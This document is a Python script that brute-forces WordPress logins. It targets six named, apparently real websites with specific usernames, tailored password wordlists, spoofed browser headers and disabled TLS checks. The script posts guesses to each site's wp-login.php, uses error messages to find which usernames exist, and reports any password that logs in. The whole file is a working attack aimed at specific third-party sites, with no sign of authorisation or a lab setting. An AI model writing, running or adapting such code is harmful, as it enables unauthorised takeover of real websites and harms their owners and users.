import asyncio, re, time
import aiohttp

UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}
SITES = [
    ("https://bradyds.com/wp", ["colin"]),
    ("https://azleabsolutely.com", ["azleadmin", "johng", "kpegues"]),
    ("http://llc.net", ["admin"]),
    ("https://smileshoponline.com", ["kps3", "kristiek"]),
    ("http://talkandhra.com", ["talkandhra"]),
    ("https://abdatapartnerships.ca", ["admin"]),
]

BASE = """admin password Password1 P@ssw0rd welcome Welcome1 123456 12345678 123456789
qwerty qwerty123 letmein iloveyou admin123 admin1234 admin12 root root123 test guest
changeme secret passw0rd P@ssword1 Abc123 abc12345 baseball football princess sunshine
master shadow michael jennifer trustno1 111111 dragon monkey 654321 qazwsx 987654321
1234 12345 asdfgh zxcvbnm 1qaz2wsx starwars whatever freedom hello123 welcome123
password123 password1 Password123 adminadmin wordpress WordPress1 wpadmin wp-admin
P@ssw0rd123 Temp1234 Password2024 Password2025 Password2026 Summer2024 Summer2025
Winter2025 Spring2026 Fall2025 Welcome2024 Welcome2025 Welcome2026 Company1 Business1
Manager1 Office1 User1234 Login123 Qwerty123! 1q2w3e 1234567 7654321 102030 159753
112233 121212 131313 123123 11111111 000000 99999999 qwe123 zxc123 asd123 321321
741852 852456 963852 147258 0987654321 123321 456789 010203 987654 plesk cpanel
hosting server webmaster contact info sales support texas smile brady colin llc andhra
kristie kristiek johng kpegues azleadmin azle Azle2019 Azle2020 Azle2024 Azle2025
Azle2026 azle2019 azle2024 smileshop kps3 bradyds talkandhra andhra123""".split()

RESERVED = {"admin": ["admin"], "colin": ["brady"], "azleadmin": ["azle"],
            "kps3": ["smile", "smileshop"], "kristiek": ["kristie"],
            "talkandhra": ["andhra"], "johng": ["john"], "kpegues": ["kpegues"]}
YEARS = ["", "1", "12", "123", "2019", "2020", "2021", "2022", "2023", "2024", "2025", "2026",
         "!", "1!", "@123", "#123"]


def wordlist(user):
    words = list(BASE)
    for stem in RESERVED.get(user, []):
        for y in YEARS:
            words.append(stem + y)
            words.append(stem.capitalize() + y)
    seen, out = set(), []
    for w in words:
        if w not in seen:
            seen.add(w)
            out.append(w)
    return out


async def attempt(sess, base, user, pwd):
    data = {"log": user, "pwd": pwd, "wp-submit": "Log In",
            "redirect_to": base + "/wp-admin/", "testcookie": "1"}
    async with sess.post(base + "/wp-login.php", data=data, ssl=False,
                         allow_redirects=False) as r:
        body = await r.text()
        loc = r.headers.get("Location", "")
    ck = [c.key for c in sess.cookie_jar]
    ok = any("wordpress_logged_in" in c for c in ck) or \
         ("wp-admin" in loc and "wp-login" not in loc)
    low = body.lower()
    why = "ok" if ok else ("no such user" if "unknown username" in low or "invalid username" in low
                           else "wrong password" if "incorrect" in low else "?")
    return ok, r.status, loc[:60], why


async def main():
    tout = aiohttp.ClientTimeout(total=25, connect=8, sock_read=15)
    for base, users in SITES:
        for user in users:
            jar = aiohttp.CookieJar(unsafe=True)
            async with aiohttp.ClientSession(timeout=tout, headers=UA, cookie_jar=jar) as s:
                try:
                    async with s.get(base + "/wp-login.php", ssl=False) as r:
                        await r.text()
                except Exception as e:
                    print(f"=== {base} {user} GET ERR {type(e).__name__}", flush=True)
                    continue
                t0 = time.time()
                found = None
                tried = 0
                for pwd in wordlist(user):
                    try:
                        ok, st, loc, why = await attempt(s, base, user, pwd)
                    except Exception as e:
                        await asyncio.sleep(1)
                        continue
                    tried += 1
                    if ok:
                        found = pwd
                        print(f"=== {base} {user} >>> LOGIN OK '{pwd}' st={st} loc={loc}", flush=True)
                        break
                    if why == "no such user":
                        print(f"=== {base} {user} no such user", flush=True)
                        break
                    await asyncio.sleep(0.25)
                print(f"=== {base} {user} tried={tried} {time.time()-t0:.0f}s found={found}", flush=True)

asyncio.run(main())
